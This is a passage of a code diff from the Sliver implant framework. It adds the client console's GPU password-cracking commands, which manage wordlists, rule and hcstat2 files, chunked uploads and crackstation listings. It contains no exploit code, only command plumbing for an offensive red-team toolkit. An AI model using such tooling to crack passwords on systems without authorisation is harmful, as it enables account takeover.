return carapace.ActionMultiParts("://", func(c carapace.Context) carapace.Action {
|
||||
switch len(c.Parts) {
|
||||
case 0:
|
||||
return carapace.ActionValues("http", "https").Tag("proxy protocols").Suffix("://")
|
||||
case 1:
|
||||
return hostPort
|
||||
default:
|
||||
return carapace.ActionValues()
|
||||
}
|
||||
}).Invoke(c).Prefix(prefix).ToA()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
# client/command/crack
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'crack' command group for the Sliver client console. Handlers map Cobra invocations to crack workflows such as crack files.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Defines the crack command hierarchy, attaching operations for stations and file management.
|
||||
- `crack-files.go` – Manages cracking asset uploads, listings, and removals, handling streaming transfers and chunking.
|
||||
- `crack.go` – Implements station status reporting, health checks, and list rendering for distributed cracking nodes.
|
||||
- `helpers.go` – Supplies completion helpers and byte formatting utilities for crack subcommands.
|
||||
@@ -0,0 +1,143 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
crackCmd := &cobra.Command{
|
||||
Use: consts.CrackStr,
|
||||
Short: "Crack: GPU password cracking",
|
||||
Long: help.GetHelpFor([]string{consts.CrackStr}),
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
crackStationsCmd := &cobra.Command{
|
||||
Use: consts.StationsStr,
|
||||
Short: "Manage crackstations",
|
||||
Long: help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackStationsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
crackCmd.AddCommand(crackStationsCmd)
|
||||
|
||||
wordlistsCmd := &cobra.Command{
|
||||
Use: consts.WordlistsStr,
|
||||
Short: "Manage wordlists",
|
||||
Long: help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackWordlistsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
crackCmd.AddCommand(wordlistsCmd)
|
||||
|
||||
wordlistsAddCmd := &cobra.Command{
|
||||
Use: consts.AddStr,
|
||||
Short: "Add a wordlist",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackWordlistsAddCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, wordlistsAddCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", "", "wordlist name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
|
||||
wordlistsCmd.AddCommand(wordlistsAddCmd)
|
||||
|
||||
wordlistsRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove a wordlist",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackWordlistsRmCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
wordlistsCmd.AddCommand(wordlistsRmCmd)
|
||||
carapace.Gen(wordlistsRmCmd).PositionalCompletion(CrackWordlistCompleter(con).Usage("wordlist to remove"))
|
||||
|
||||
rulesCmd := &cobra.Command{
|
||||
Use: consts.RulesStr,
|
||||
Short: "Manage rule files",
|
||||
Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackRulesCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
crackCmd.AddCommand(rulesCmd)
|
||||
|
||||
rulesAddCmd := &cobra.Command{
|
||||
Use: consts.AddStr,
|
||||
Short: "Add a rules file",
|
||||
Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackRulesAddCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, rulesAddCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", "", "rules name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
|
||||
rulesCmd.AddCommand(rulesAddCmd)
|
||||
|
||||
rulesRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove rules",
|
||||
Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackRulesRmCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(rulesRmCmd).PositionalCompletion(CrackRulesCompleter(con).Usage("rules to remove"))
|
||||
rulesCmd.AddCommand(rulesRmCmd)
|
||||
|
||||
hcstat2Cmd := &cobra.Command{
|
||||
Use: consts.Hcstat2Str,
|
||||
Short: "Manage markov hcstat2 files",
|
||||
Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackHcstat2Cmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
crackCmd.AddCommand(hcstat2Cmd)
|
||||
|
||||
hcstat2AddCmd := &cobra.Command{
|
||||
Use: consts.AddStr,
|
||||
Short: "Add a hcstat2 file",
|
||||
Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackHcstat2AddCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, hcstat2AddCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
|
||||
hcstat2Cmd.AddCommand(hcstat2AddCmd)
|
||||
|
||||
hcstat2RmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove hcstat2 file",
|
||||
Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CrackHcstat2RmCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(hcstat2RmCmd).PositionalCompletion(CrackHcstat2Completer(con).Usage("hcstat2 to remove"))
|
||||
hcstat2Cmd.AddCommand(hcstat2RmCmd)
|
||||
|
||||
return []*cobra.Command{crackCmd}
|
||||
}
|
||||
@@ -0,0 +1,504 @@
|
||||
package crack
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"io"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/klauspost/compress/zstd"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CrackWordlistsCmd - Manage GPU cracking stations.
|
||||
func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(wordlists.Files) == 0 {
|
||||
con.PrintInfof("No wordlists, add some using `crack wordlists add`\n")
|
||||
} else {
|
||||
PrintCrackFiles(wordlists, con)
|
||||
con.Println()
|
||||
con.Printf("Disk quota %02.2f%% - %s of %s\n",
|
||||
(float64(wordlists.CurrentDiskUsage)/float64(wordlists.MaxDiskUsage))*100,
|
||||
util.ByteCountBinary(wordlists.CurrentDiskUsage),
|
||||
util.ByteCountBinary(wordlists.MaxDiskUsage),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackRulesCmd - Manage GPU cracking stations.
|
||||
func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(rules.Files) == 0 {
|
||||
con.PrintInfof("No rules files, add some using `crack rules add`\n")
|
||||
} else {
|
||||
PrintCrackFiles(rules, con)
|
||||
con.Println()
|
||||
con.Printf("Disk quota %02.2f%% - %s of %s\n",
|
||||
(float64(rules.CurrentDiskUsage)/float64(rules.MaxDiskUsage))*100,
|
||||
util.ByteCountBinary(rules.CurrentDiskUsage),
|
||||
util.ByteCountBinary(rules.MaxDiskUsage),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackHcstat2Cmd - Manage GPU cracking stations.
|
||||
func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(hcstat2.Files) == 0 {
|
||||
con.PrintInfof("No hcstat2 files, add some using `crack hcstat2 add`\n")
|
||||
} else {
|
||||
PrintCrackFiles(hcstat2, con)
|
||||
con.Println()
|
||||
con.Printf("Disk quota %02.2f%% - %s of %s\n",
|
||||
(float64(hcstat2.CurrentDiskUsage)/float64(hcstat2.MaxDiskUsage))*100,
|
||||
util.ByteCountBinary(hcstat2.CurrentDiskUsage),
|
||||
util.ByteCountBinary(hcstat2.MaxDiskUsage),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"Name", "Size"})
|
||||
for _, file := range crackFiles.Files {
|
||||
tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
|
||||
wordlistTable := table.NewWriter()
|
||||
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
|
||||
wordlistTable.SetStyle(settings.GetTableStyle(con))
|
||||
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
rulesTable := table.NewWriter()
|
||||
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
|
||||
rulesTable.SetStyle(settings.GetTableStyle(con))
|
||||
rulesTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
hcTable := table.NewWriter()
|
||||
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
|
||||
hcTable.SetStyle(settings.GetTableStyle(con))
|
||||
hcTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
wordlists := 0
|
||||
rules := 0
|
||||
hc := 0
|
||||
for _, file := range crackFiles.Files {
|
||||
switch file.Type {
|
||||
case clientpb.CrackFileType_WORDLIST:
|
||||
wordlistTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
|
||||
wordlists++
|
||||
case clientpb.CrackFileType_RULES:
|
||||
rulesTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
|
||||
rules++
|
||||
case clientpb.CrackFileType_MARKOV_HCSTAT2:
|
||||
hcTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
|
||||
hc++
|
||||
}
|
||||
}
|
||||
|
||||
if wordlists > 0 {
|
||||
con.Printf("%s\n", wordlistTable.Render())
|
||||
}
|
||||
if rules > 0 {
|
||||
if wordlists > 0 {
|
||||
con.Println()
|
||||
}
|
||||
con.Printf("%s\n", rulesTable.Render())
|
||||
}
|
||||
if hc > 0 {
|
||||
if wordlists > 0 || rules > 0 {
|
||||
con.Println()
|
||||
}
|
||||
con.Printf("%s\n", hcTable.Render())
|
||||
}
|
||||
con.Println()
|
||||
con.Printf("%d wordlists, %d rules, %d hcstat2 files\n", wordlists, rules, hc)
|
||||
con.Printf("Disk quota %02.2f%% - %s of %s\n",
|
||||
(float64(crackFiles.CurrentDiskUsage)/float64(crackFiles.MaxDiskUsage))*100,
|
||||
util.ByteCountBinary(crackFiles.CurrentDiskUsage),
|
||||
util.ByteCountBinary(crackFiles.MaxDiskUsage),
|
||||
)
|
||||
}
|
||||
|
||||
// CrackWordlistsAddCmd - Manage GPU cracking stations.
|
||||
func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
|
||||
var localPath string
|
||||
if len(args) > 0 {
|
||||
localPath = args[0]
|
||||
}
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
}
|
||||
wordlistStat, err := os.Stat(localPath)
|
||||
if os.IsNotExist(err) || wordlistStat.IsDir() {
|
||||
con.PrintErrorf("File does not exist: %s\n", localPath)
|
||||
return
|
||||
}
|
||||
if name == "" {
|
||||
name = wordlistStat.Name()
|
||||
}
|
||||
wordlist, err := os.Open(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open file: %s\n", err)
|
||||
return
|
||||
}
|
||||
defer wordlist.Close()
|
||||
|
||||
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
|
||||
Type: clientpb.CrackFileType_WORDLIST,
|
||||
Name: name,
|
||||
UncompressedSize: wordlistStat.Size(),
|
||||
IsCompressed: true,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create file: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n",
|
||||
crackFile.Name,
|
||||
util.ByteCountBinary(crackFile.UncompressedSize),
|
||||
)
|
||||
addCrackFile(wordlist, crackFile, con)
|
||||
}
|
||||
|
||||
// CrackRulesAddCmd - add a rules file.
|
||||
func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
|
||||
var localPath string
|
||||
if len(args) > 0 {
|
||||
localPath = args[0]
|
||||
}
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
}
|
||||
rulesStat, err := os.Stat(localPath)
|
||||
if os.IsNotExist(err) || rulesStat.IsDir() {
|
||||
con.PrintErrorf("File does not exist: %s\n", localPath)
|
||||
return
|
||||
}
|
||||
if name == "" {
|
||||
name = rulesStat.Name()
|
||||
}
|
||||
rules, err := os.Open(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open file: %s\n", err)
|
||||
return
|
||||
}
|
||||
defer rules.Close()
|
||||
|
||||
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
|
||||
Type: clientpb.CrackFileType_RULES,
|
||||
Name: name,
|
||||
UncompressedSize: rulesStat.Size(),
|
||||
IsCompressed: true,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create file: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n",
|
||||
crackFile.Name,
|
||||
util.ByteCountBinary(crackFile.UncompressedSize),
|
||||
)
|
||||
addCrackFile(rules, crackFile, con)
|
||||
}
|
||||
|
||||
// CrackHcstat2AddCmd - add a hcstat2 file.
|
||||
func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
name, _ := cmd.Flags().GetString("name")
|
||||
|
||||
var localPath string
|
||||
if len(args) > 0 {
|
||||
localPath = args[0]
|
||||
}
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
}
|
||||
hcstat2Stat, err := os.Stat(localPath)
|
||||
if os.IsNotExist(err) || hcstat2Stat.IsDir() {
|
||||
con.PrintErrorf("File does not exist: %s\n", localPath)
|
||||
return
|
||||
}
|
||||
if name == "" {
|
||||
name = hcstat2Stat.Name()
|
||||
}
|
||||
hcstat2, err := os.Open(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open file: %s\n", err)
|
||||
return
|
||||
}
|
||||
defer hcstat2.Close()
|
||||
|
||||
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
|
||||
Type: clientpb.CrackFileType_MARKOV_HCSTAT2,
|
||||
Name: name,
|
||||
UncompressedSize: hcstat2Stat.Size(),
|
||||
IsCompressed: true,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create file: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n",
|
||||
crackFile.Name,
|
||||
util.ByteCountBinary(crackFile.UncompressedSize),
|
||||
)
|
||||
addCrackFile(hcstat2, crackFile, con)
|
||||
}
|
||||
|
||||
func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverClient) {
|
||||
digest := sha256.New()
|
||||
wordlistReader := io.TeeReader(localFile, digest)
|
||||
|
||||
chunks := make(chan []byte, 1) // Chunks are in-memory!
|
||||
|
||||
var chunkReaderErr error
|
||||
go func() {
|
||||
chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
|
||||
}()
|
||||
n := uint32(0)
|
||||
total := int64(0)
|
||||
errors := []error{}
|
||||
for chunk := range chunks {
|
||||
total += int64(len(chunk))
|
||||
con.PrintInfof("Uploading %s (chunk %d - %s) ...",
|
||||
util.ByteCountBinary(total),
|
||||
n,
|
||||
util.ByteCountBinary(int64(len(chunk))),
|
||||
)
|
||||
_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
|
||||
CrackFileID: crackFile.ID,
|
||||
N: n,
|
||||
Data: chunk,
|
||||
})
|
||||
n++
|
||||
if err != nil {
|
||||
errors = append(errors, err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if chunkReaderErr != nil {
|
||||
con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
|
||||
return
|
||||
}
|
||||
if len(errors) > 0 {
|
||||
for _, err := range errors {
|
||||
con.PrintErrorf("Failed to upload chunk: %s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
|
||||
ID: crackFile.ID,
|
||||
Sha2_256: hex.EncodeToString(digest.Sum(nil)),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to complete file upload: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
|
||||
}
|
||||
|
||||
func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
|
||||
defer close(chunks)
|
||||
start := int64(0)
|
||||
tmpFile, err := os.CreateTemp("", "sliver-wordlist")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tmpFile.Close()
|
||||
compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
|
||||
for {
|
||||
readBuf := make([]byte, 32*1024*1024) // 32MB
|
||||
readN, readErr := wordlistReader.Read(readBuf)
|
||||
if readErr != nil && readErr != io.EOF {
|
||||
return err
|
||||
}
|
||||
if readN != 0 {
|
||||
_, err := compressor.Write(readBuf[:readN])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
compressor.Flush()
|
||||
tmpFileStat, err := os.Stat(tmpFile.Name())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if tmpFileStat.Size()-start >= chunkSize {
|
||||
stop := start + chunkSize
|
||||
chunk, err := readChunkAt(tmpFile, start, chunkSize)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
chunks <- chunk
|
||||
start = stop
|
||||
}
|
||||
}
|
||||
if readErr == io.EOF {
|
||||
chunk, err := readChunkAt(tmpFile, start, chunkSize)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
chunks <- chunk
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
|
||||
chunkBuf := make([]byte, chunkSize)
|
||||
n, err := tmpFile.ReadAt(chunkBuf, offset)
|
||||
if err != nil && err != io.EOF {
|
||||
return nil, err
|
||||
}
|
||||
return chunkBuf[:n], nil
|
||||
}
|
||||
|
||||
// CrackWordlistsRmCmd - Manage GPU cracking stations.
|
||||
func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var wordlistName string
|
||||
if len(args) > 0 {
|
||||
wordlistName = args[0]
|
||||
}
|
||||
if wordlistName == "" {
|
||||
con.PrintErrorf("No name specified, see --help\n")
|
||||
return
|
||||
}
|
||||
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
found := false
|
||||
for _, wordlist := range wordlists.Files {
|
||||
if wordlist.Name == wordlistName && wordlist.Type == clientpb.CrackFileType_WORDLIST {
|
||||
found = true
|
||||
_, err := con.Rpc.CrackFileDelete(context.Background(), wordlist)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
con.PrintInfof("Removed wordlist: %s\n", wordlistName)
|
||||
} else {
|
||||
con.PrintErrorf("Wordlist not found: %s\n", wordlistName)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackRulesRmCmd - Manage GPU cracking stations.
|
||||
func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var rulesName string
|
||||
if len(args) > 0 {
|
||||
rulesName = args[0]
|
||||
}
|
||||
if rulesName == "" {
|
||||
con.PrintErrorf("No name specified, see --help\n")
|
||||
return
|
||||
}
|
||||
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
found := false
|
||||
for _, rulesFile := range rules.Files {
|
||||
if rulesFile.Name == rulesName && rulesFile.Type == clientpb.CrackFileType_RULES {
|
||||
found = true
|
||||
_, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
con.PrintInfof("Removed rules: %s\n", rulesName)
|
||||
} else {
|
||||
con.PrintErrorf("Rules not found: %s\n", rulesName)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackHcstat2RmCmd - remove a hcstat2 file.
|
||||
func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var hcstat2Name string
|
||||
if len(args) > 0 {
|
||||
hcstat2Name = args[0]
|
||||
}
|
||||
if hcstat2Name == "" {
|
||||
con.PrintErrorf("No name specified, see --help\n")
|
||||
return
|
||||
}
|
||||
hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
found := false
|
||||
for _, hcstat2File := range hcstat2s.Files {
|
||||
if hcstat2File.Name == hcstat2Name && hcstat2File.Type == clientpb.CrackFileType_MARKOV_HCSTAT2 {
|
||||
found = true
|
||||
_, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
con.PrintInfof("Removed hcstat2: %s\n", hcstat2Name)
|
||||
} else {
|
||||
con.PrintErrorf("Hcstat2 not found: %s\n", hcstat2Name)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,148 @@
|
||||
package crack
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// CrackCmd - GPU password cracking interface
|
||||
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if !AreCrackersOnline(con) {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations))
|
||||
}
|
||||
crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(crackFiles.Files) == 0 {
|
||||
con.PrintInfof("No crack files uploaded to server\n")
|
||||
} else {
|
||||
con.Println()
|
||||
PrintCrackFilesByType(crackFiles, con)
|
||||
}
|
||||
}
|
||||
|
||||
// CrackStationsCmd - Manage GPU cracking stations
|
||||
func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(crackers.Crackstations) == 0 {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
PrintCrackers(crackers.Crackstations, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintNoCrackstations(con *console.SliverClient) {
|
||||
con.PrintInfof("No crackstations connected to server\n")
|
||||
}
|
||||
|
||||
func AreCrackersOnline(con *console.SliverClient) bool {
|
||||
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return len(crackers.Crackstations) > 0
|
||||
}
|
||||
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
|
||||
sort.Slice(crackers, func(i, j int) bool {
|
||||
return crackers[i].Name < crackers[j].Name
|
||||
})
|
||||
for index, cracker := range crackers {
|
||||
printCracker(cracker, index, con)
|
||||
if index < len(crackers)-1 {
|
||||
con.Println()
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
